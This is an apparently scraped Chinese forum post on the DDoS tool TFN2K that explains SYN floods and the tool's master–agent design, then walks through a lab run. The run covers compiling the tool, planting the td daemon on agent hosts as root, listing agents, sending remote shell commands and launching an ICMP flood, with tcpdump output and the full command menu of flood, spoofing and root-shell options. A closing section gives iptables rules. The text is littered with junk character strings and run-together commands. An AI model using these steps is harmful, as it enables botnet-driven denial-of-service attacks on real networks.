分布式拒绝攻击(DDOS)软件tfn2k攻防

踏浪行歌

分布式拒绝攻击(DDOS)软件tfn2k攻防 + _8 w O d. y3 c+ _ d / Z) w, r7 q7 b+ {5 U+ j首先，我写这篇文章的目的，并不是我想成为什么hacker之类，而且我不并不鼓励任何人利用它来做一些有损他人的事情，我只是想多一 " G' x' z7 u5 ]

些人关注网络安全，共同研究并防御DOS。因为我是深受其害，所以，这篇文章仅用于技术参考，供大家研究DDOS防御之用。如果你利用它来

做一些不合法的事情，那结果与我无关。 ) W( t- C! f% ]拒绝服务攻击（DOS，DenialOfService)可以指任何使服务不能正常提供的操作。如软件bug,操作失误等。不过现在因为失误操作而造成 7 S& k1 P+ V4 Q9 z5 |' J

的dos，可能性非常小，更多的是恶意的攻击行为。现在拒绝服务攻击早已演变为分布式拒绝服务攻击(DDOS,DistributedDenialOf 4 r+ y$ Y3 U$ b9 j

Service),利用更多的代理集中攻击目标，其危害更大。 我们大家都知道tcp/ip协议现在已经成为整个internet框架协议，可以说，如果没有tcp/ip，至少internet不会像现在这样普及，甚至不

可能会有internet。但凡事皆有两面性，tcp/ip使我们大家受益，同时因为协议本身构造的问题，它也成为别人攻击我们的工具。我们以tcp三

握手建立连接的过程来说明。 & i# l4 V+ g6 _( x9 ~3 _" a$ U2 { ' b. \2 p6 k2 }7 _6 @7 _( b4 V一。tcpsynflood & v" B: \+ p6 L) u! J2 j2 U 1.客户端(client)发送一个包含SYN(synchronize)的tcp包至服务器，此数据包内包含客户端端口及tcp序列号等基本信息。 + D/ m0 I* Z" t3 J$ L2 o: S" d, j2.服务器(server)接收到SYN包之后，将发送一个SYN-ACK包来确认。 / C$ g' ^2 R6 b" y3.客户端在收到服务器的SYN-ACK包之后，将回送ACK至服务器，服务器如接收到此包，则TCP连接建立完成，双方可以进行通讯（感觉像 4 G7 o6 n5 o; \: V. U0 | m: I

，一拜天地...二拜高堂...送入洞房...哈哈）

问题就出在第3步，如果服务器收不到客户端的ACK包，将会等待下去，这种状态叫做半连接状态。它会保持一定时间(具体时间不同操作系 " V' b2 h- g3 F2 }

统不同),如果SYN请求超过了服务器能容纳的限度，缓冲区队列满，那么服务器就不再接收新的请求了,其他合法用户的连接都被拒绝掉。这种

攻击往往事半罪倍，杀伤力超强。 - a# W( s: p+ v. S% T+ o# B+ A ; L. k" w( R" ~- e0 U1 [当然，DOS攻击的方法多种多样，如:UDPflood,ICMP/Ping,ICMP/SMURF...,具体原理的介绍大家可以到<a

href=http://www.chinaitlab.com/www/special/ciwddos.asp>http://www.chinaitlab.com/www/special/ciwddos.asp</a>去看看，有很详细 7 Z9 y3 G5 ]' k

的原理及常用攻击软件介绍。不过说到DOS攻击软件，最具代表的莫过于tfn2k(TribeFloodNetwork2000),其作者是德国大名鼎鼎的mixter( 1 M% W& ?6 y7 V& F. a

其主页http://mixter.void.ru/papers.html),好像最近正在埋头搞什么tfn3k，哎~~，不知道又有多少人寝食难安了...

二.tfn2k攻击原理

1.tfn2k的攻击体系。

tfn2k应该算是DDOS攻击中的代表作，其所能实现的功能让人瞠目结舌，叹为观止...(对它的敬畏有如滔滔江水，延续不绝...)来看看它

的架构。 主控端---运行tfn客户端，来遥控并指定攻击目标，更改攻击方法.(罪大恶极) . z2 c# ^" g b5 A代理端---被植入并运行td进程的牺牲品，接受tfn的指挥，攻击的实施者.需要注意的是，一个攻击者，往往控制多台代理来完成攻击，而 3 u9 i, a9 [( D1 D

且其系统多为unix,linux等.(可怜的牺牲品） " X; t$ s8 i2 | U目标主机---被攻击的主机或网络，曾经被DDOS的有Yahoo、Amazon、CNN、e-bay等.(最大的受害者，郁闷如我) 4 v7 Z4 h, i- W: e8 S5 t4 [, d, z7 A ; I' C- k A+ i* r# y' }7 Y2.tfn2k特性。 　◆主控端通过TCP、UDP、ICMP或随机性使用其中之一(默认.随机)的数据包向代理端主机发送命令,攻击方法包括TCP/SYN、UDP、

ICMP/PING、混合攻击、TARGA3等。 ◆主控端与代理端的通讯采取单向，即主控端只向代理端发送命令，并且会采取随机的头信息，甚至虚拟的源地址信息,代理端不会 % o* }+ n z% S6 P" @8 B- m4 f

逆向向主控端发送任何信息. ◆所有命令经过CAST-256算法加命,其关键字即编译程序时的输入的口令.并且这个口令做为唯一认证凭证. 9 ~. m/ i9 V4 z! I◆利用td进程，主控端可以远程执行shell命令. 9 c& U, L O: H: w+ x, Z8 M◆td进程的名称可以在编译时更改,更便于隐藏. 8 s1 Q, c2 M, {% n◆tfn可以编译运行于win32及linux系统的. ... : H o* d0 D; Q9 t y* L: V至于伪造源IP地址等功能，更是基本功能，并且其与老版本的tfn相比，它的发包效率更高，我自已的测试，在短短不到5分钟，两台

代理机，使我的redhatlinux9.0系统瘫痪. ; F( Z! Q6 J" |$ A

三.tfn2k实战测试 1.测试环境: % K' L" ~+ l+ j2 m软件：redhatlinux9.0 + i( D. i" l: T7 w硬件平台： + W) i; h" y0 @) O6 T# l! o2 Xmaster: IP:192.168.0.6 PIV2.4/256*2/rtl8139 Ag1: IP:192.168.0.2 PIV2.4/256*/rtl8139 AG2:IP:192.168.0.3 pIV2.6/512*2/3c905 AIM:192.168.0.5 pIV2.66c/512*2/3c905 2 O1 W+ X9 v& I, yswitch_linkdes1024R

1.下载tfn2k.tgz(因为此软件非比寻常，所以我并不提供下载地址，如果有兴趣，自已到网上找吧) 2.解压：tarzxvftfn2k.tgz / m# s* @$ U& m- O3 z3.修改文件 A.src/Makefile如果你的系统是linux系统，不需要做任何修就可以，如果是win32系统，请将 " X9 w% U1 P7 ~! q% ^- c#Linux/*BSD*/Others CC=gcc # f# U' l( o/ a4 pCFLAGS=-Wall-O3 CLIBS= 这几行注释掉,并将 #Win32(cygwin) ~7 f" i7 V3 G8 {#CC=gcc * o" Y9 M [8 i r#CFLAGS=-Wall-DWINDOZE-O2 #CLIBS= " Y) V3 ]" T) i( Y8 c9 x这几行的注释去掉.因为我的测试系统为redhatlinux9.0所以并未做任何修改.

B.src/config.h，默认的就可以用，如果感兴趣，可以照其注释信息进行调整。 " @# F- A# P6 N C.src/ip.h这里要做一些修改，否则编译会有错误，发生重复定义。 9 \$ j9 |$ W6 l. _9 P# g6 g+ `/*structin_addr & g/ X0 V8 c9 r{ 5 i- d4 }, p8 u& q* d; Aunsignedlongints_addr; };*/ 注意啊~~我可是将它放在"/**/"之间，也就是注释掉了 7 \/ k$ x& i+ X ) ^& Z+ N. J: @: e& }$ P$ pD.更改编译器： 7 W& V8 e7 N- x, K. f# f因为tfn2k支持的是egcs-1.1.2-30,而redhatlinux9.0所包含的是gcc-3.2.2-5,所以如果不替换掉gcc，tfn2k是编译不过去的.需

要注意的是，更改之后，有可能会造成基于gcc3.2.2的软件编译不去,请谨慎而行. 方法很简单的，找到一张redhatlinux6.2安装盘,将egcs-1.1.2-30.rpm、cpp-1.1.2-30.rpm拷到~/ # g, g) D- ^' @2 Z1 x0 p1 Dcd/mnt/cdrom/Redhat/RPMS cpegcs-1.1.2-30*cpp-1.1.2-30*~/ % v; Y, P, {5 N4 |安装cpprpm-Uvh--nodeps--oldpackagecpp-1.1.2-30.i386.rpm 安装egcsrpm-Uvhegcs-1.1.2-30.i386.rpm(如果提示有误，用nodeps、oldpackages、ignoreos等参数忽略过去就是了） ' {" p% d7 x* x: y# [+ l 4.编译tfn2k % r; [8 n; O; ]; m1 i! zcdtfn2k/src , f0 q& \& j& l* Mmake 首先会谈出一个声明，你必须接受，之后会提示输入8-32位密码,前边提到过，这是唯一的认证凭证，会被分发于td进程中，所以一定

要记牢噢~。 编译通过后，会产生td及tfn，这就是大名鼎鼎的tfn2k啦~,td是守护进程，用来安装在代理中的，而tfn就是控制端. $ W( Y1 X& b3 w8 N0 S

5.安装td. 3 o& J9 V* A- _8 r将td上传到我的两台代理,ag1(192.168.0.2)和ag2(192.168.0.3)，因为我只不过测试，所以用的是合法的root来上传并执行td进程的 ) }' ]' e; z6 \& R: E# r2 X* q

，如果真要找到并安装一个代理，你可能得费点儿神，因为没有一个管理员会说“comeonbaby~~.我给你root,来安装td做代理吧” ( ]! U$ S. n5 B5 M& Y$ K( S[root@test/]ftp192.168.0.2 ) m6 J2 {2 M$ iConnectedto192.168.0.2. 530PleaseloginwithUSERandPASS. / ~" z: |( l7 @& i530PleaseloginwithUSERandPASS. Name(192.168.0.2:root):wjpfjy & e3 l. w- h) n! |4 Q331Pleasespecifythepassword. Password: 230Loginsuccessful.Havefun. RemotesystemtypeisUNIX. 6 {( b5 M* p: EUsingbinarymodetotransferfiles. ftp>puttd(上传td) local:tdremote:td 227EnteringPassiveMode(192,168,0,3,198,225) 553Couldnotcreatefile. ftp>by(退出ftp) ) R0 M/ _9 V+ p3 m221Goodbye. 1 f& }$ x: x1 l2 U- B6 x[root@test/]ssh192.168.0.2登陆到ag1以执行td,注意，我用的是root帐户，这样才有足够的权限来执行它. root@192.168.0.2spassword: 1 L* N" J& S" X4 j# F$ ]- xLastlogin:TueFeb2406:51:132004 [root@ag1/]find/-nametd-print找到刚上传过来的文件td. ! l7 q# s/ b0 X+ A0 R[root@ag1wjpfjy/]chmoda+xtd使之具有执行权限. [root@ag1wjpfjy/]./td运行td，这样你就拥有一个代理了，它会对你唯命是从的。 　　　 ' C4 c4 h% c9 ^3 j" N+ h, `　　用同样的方法在ag2(192.168.0.3)上安装并运行TFN2k进程td. 6.攻击开始(悲惨的回忆上演中...) 回到master(192.168.0.6)，准备演练... 　　　[root@masterroot]#touchhost.txt建立代理记录文件(因为如果你足够无聊的话，有可能会建立很多的肉鸡－代理，不记下会忘

记的噢.) [root@masterroot]echo"192.168.0.2">host.txt将执行过td的ag1加入host.txt。 　　　[root@masterroot]echo"192.168.0.3">>host.txt添加ag2到host.txt. 5 S5 _6 w) w7 Y1 A　　　先来测试一下链接。 　　　[root@masterroot]./tfn-fhost.txt-c10-i"mkdirwjpfjy"与host.txt中的代理通讯，让其执行命令mkdirwjpfjy即建立一个

目录 　Protocol:random SourceIP:random Clientinput:list * s6 q j) R$ {* s5 U. ACommand:executeremotecommand , }; D. ~) b1 O! z8 ?9 s

　　　Passwordverification:　　　　这里，会被提示输入密码，也就是编译时输入的密码,如果错了，将无法与td进程通讯 ) e8 q+ E; R. C- {

　　　Sendingoutpackets:.. 0 N8 t/ F! S0 o3 F0 w

到ag1和ag2看看有没有建立目录名wjpfjy，一般情况下,会存在于td的同一目录,如果不确定，可以用find/-namewjpfjy-print来查找 　　 0 a+ r" |+ V" Z　　　[root@masterroot]./tfn-fhost.txt-c6-i192.168.0.5　开始ICMP/PING攻击aim...(可怜我的P4啊，不到5分钟,就跟386一样慢 ! ?: n c0 U: _ r2 c4 b$ b$ A

)，不过它在gameover前，还是很艰辛的记录下了攻击数据,也算是对得住的那NK大洋啦.这是tcpdump的抓包记录. ! e( u6 L% d/ v[root@aimroot]#tcpdump-rpack.atta-c4-xX 08:03:36.52490723.43.171.0>192.168.0.5icmp:echorequest[ttl0] 0x00004500005c659d00000001d22e172bab00E..\e........+.. 8 r- F+ o% l' G; R V5 i- S0x0010c0a800020800f7ff0000000000000000................ 0x002000000000000000000000000000000000................ 0x003000000000000000000000000000000000................ * w& G/ U- k' X( Y8 n0x004000000000000000000000000000000000................ 0x00500000.. ; W+ i; a! Y+ q7 v. o2 p08:03:36.524933192.168.0.5>23.43.171.0:icmp:echoreply E1 J! U3 P2 c, G. o2 d0 r6 R0x00004500005ca5d50000400151f6c0a80002E..\....@.Q..... 3 F) P. j; x# Y3 T r0x0010172bab000000ffff0000000000000000.+.............. 0x002000000000000000000000000000000000................ / _* H* Y! T2 E$ p0 ^& J0x003000000000000000000000000000000000................ + n6 m3 V, z$ W- Y+ A$ j0x004000000000000000000000000000000000................ + N0 ^9 W6 i! \0x00500000.. 7 M& J& m6 [* ~+ u6 ]' Q08:03:36.52494436.235.130.0>192.168.0.5:icmp:echorequest[ttl0] 0x00004500005c659d00000001ed6e24eb8200E..\e......n$... + r. A+ K- q9 _4 D8 I( L5 N* h0x0010c0a800020800f7ff0000000000000000................ + V7 y/ i) J: H3 Q3 C/ v/ q0x002000000000000000000000000000000000................ 0x003000000000000000000000000000000000................ 8 B9 d" Q9 t" C2 e; `0x004000000000000000000000000000000000................ 0x00500000.. 08:03:36.524984192.168.0.5>36.235.130.0:icmp:echoreply 0x00004500005c551c00004001bdefc0a80002E..\U...@....... 0x001024eb82000000ffff0000000000000000$............... 0x002000000000000000000000000000000000................ 9 l" T& y* J: Z8 v0x003000000000000000000000000000000000................ 0x004000000000000000000000000000000000................ 2 K6 Q5 |7 `! i( e8 F( c9 F　 　[root@masterroot]./tfn-fhost.txt-c0停止攻击 ) T" g4 l% g7 T

Protocol:random 2 a, |$ @; Y; k+ b9 B, pSourceIP:random Clientinput:list 6 s1 f2 o$ n/ y" M7 RCommand:stopflooding

Passwordverification:

Sendingoutpackets:...

当然还有别的攻击方法，你只要用-cX就可以更改攻击方法. 2 R4 @4 ^8 y7 g+ ]1 {" N

[root@masterroot]./tfn 0 L' G% M+ k0 i5 q xusage:./tfn<options> $ E- B1 d7 m% f) T+ o[-Pprotocol]Protocolforservercommunication.CanbeICMP,UDPorTCP. . z* r* T% i3 ~' P1 @& ZUsesarandomprotocolasdefault 2 I' Z; N/ L# S[-Dn]Sendoutnbogusrequestsforeachrealonetodecoytargets . R; W5 w/ n) h* F9 H- m( c1 b! g[-Shost/ip]SpecifyyoursourceIP.Randomlyspoofedbydefault,youneed touseyourrealIPifyouarebehindspoof-filteringrouters [-fhostlist]FilenamecontainingalistofhostswithTFNserverstocontact [-hhostname]TocontactonlyasinglehostrunningaTFNserver [-itargetstring]Containsoptions/targetsseparatedby@,seebelow [-pport]ATCPdestinationportcanbespecifiedforSYNfloods 9 s2 @( P2 W% H# v1 z: n<-ccommandID>0-Haltallcurrentfloodsonserver(s)immediately 2 \8 i1 ~1 L5 o; _1-ChangeIPantispoof-level(evaderfc2267filtering) 7 D! a0 i: L @, i6 {1 o9 Wusage:-i0(fullyspoofed)to-i3(/24hostbytesspoofed) 1 K& _2 M, w5 S+ @( b+ M2-ChangePacketsize,usage:-i<packetsizeinbytes> 4 k: V$ | ^& g& M1 o) g! s: ^3-Bindrootshelltoaport,usage:-i<remoteport> 4-UDPflood,usage:-ivictim@victim2@victim3@... $ q2 ~+ X [8 m) M5-TCP/SYNflood,usage:-ivictim@...[-pdestinationport] * i. s& H( M" d ~% y7 `& h" s6-ICMP/PINGflood,usage:-ivictim@... ( V; s* j/ G$ q N5 a- a* [0 h# p6 D7-ICMP/SMURFflood,usage:-ivictim@broadcast@broadcast2@... 0 K( k4 j2 D) W: m7 u8-MIXflood(UDP/TCP/ICMPinterchanged),usage:-ivictim@... 9-TARGA3flood(IPstackpenetration),usage:-ivictim@... ) i0 `/ z' V8 C' r9 d! P( R1 U10-Blindlyexecuteremoteshellcommand,usage-icommand

9 e/ J) m) l6 \5 Z r; E四.防守办法 就如同网上所有介绍DDOS的文章一样，DDOS防不胜防，我试着用防火墙过滤掉所有icmp包，来保护我的主机，但所实现的，只是我的主机晚

点儿崩溃而已.哎～，别指望我来防DDOS,要能防，我也不用不睡觉啊 2 s" L; \ R* k# f　　还是那句老话，我们能做的，就是尽量让我们的主机不成为别人攻击的代理，并对intranet内出行的包进行严格限制，尽量不去危害别人

，只要大家都这样做，我们的网络环境才可以安全一些，至少，我可以安心睡几天觉. 附上我防火墙的一部分.主要是针对ICMP/PING的，不过用处不太大 ( P# m7 o- w* G- Q6 W4 N

/sbin/iptables-PINPUTDROP /sbin/iptables-AINPUT-ilo-pall-jACCEPT /sbin/iptables-AINPUT-ieth1-picmp-jACCEPT /sbin/iptables-AINPUT-picmp--icmp-type8-jDROP /sbin/iptables-AINPUT-s127.0.0.2-ilo-jACCEPT ; }; `; G/ S" { k, I. b/ z- B) s/sbin/iptables-AINPUT-s127.0.0.2-ieth0-jDROP /sbin/iptables-AINPUT-s$LAN_NET/24-ieth0-jDROP /sbin/iptables-AINPUT-s172.16.0.0/12-ieth0-jDROP 9 B3 p6 }$ J, |* |# J/sbin/iptables-AINPUT-s10.0.0.0/8-ieth0-jDROP ) ]! Q1 B9 z. F7 j2 s) z/sbin/iptables-AINPUT-ieth0-mlimit--limit1/sec--limit-burst5-jACCEPT/sbin/iptables-AINPUT-ieth0-pudp-m * ]/ b8 U) n; Q& x+ W. a

state--stateNEW-jREJECT , ~8 U+ p+ I" |# s1 V) C/sbin/iptables-AINPUT-ptcp--dport22-jACCEPT /sbin/iptables-AINPUT-ptcp--dport80-jACCEPT & K5 n0 J# t$ F2 E1 v/sbin/iptables-AINPUT-ptcp-ieth1--dport53-jACCEPT + ~! b9 ^9 p$ P2 b" F1 a/sbin/iptables-AINPUT-pudp-ieth1--dport53-jACCEPT 8 p) J- Q! `3 ?; g2 _4 j6 a/sbin/iptables-AINPUT-ptcp-ieth0-mstate--stateESTABLISHED,RELATED-mtcp--dport1024:-jACCEPT /sbin/iptables-AINPUT-pudp-ieth0-mstate--stateESTABLISHED,RELATED-mudp--dport1024:-jACCEPT , I" q1 p7 G5 v# t8 n( K6 D/sbin/iptables-AINPUT-picmp--icmp-typeecho-request-jLOG--log-level2 /sbin/iptables-AINPUT-ieth0-picmp--icmp-typeecho-request-jDROP # b! h$ }9 U9 B G/sbin/iptables-AINPUT-ptcp-mmultiport--destination-port135,137,138,139-jLOG /sbin/iptables-AINPUT-pudp-mmultiport--destination-port135,137,138,139 -jLOG /sbin/iptables-AINPUT-ieth0-ptcp--dport2000-jACCEPT /sbin/iptables-AINPUT-ieth0-ptcp--dport2001-jACCEPT /sbin/iptables-AINPUT-ptcp-ieth1-mstate--stateESTABLISHED,RELATED-mtcp--dport1024:-jACCEPT

' j* C0 g7 ?4 U　以上只是我个人的一些摸索经验，不足或错误之处，还望指证。如果您可以防止DDOS，也请告诉我 因为本文内容的特殊性，转载请通知我，谢谢合作QQ:928395

[em09]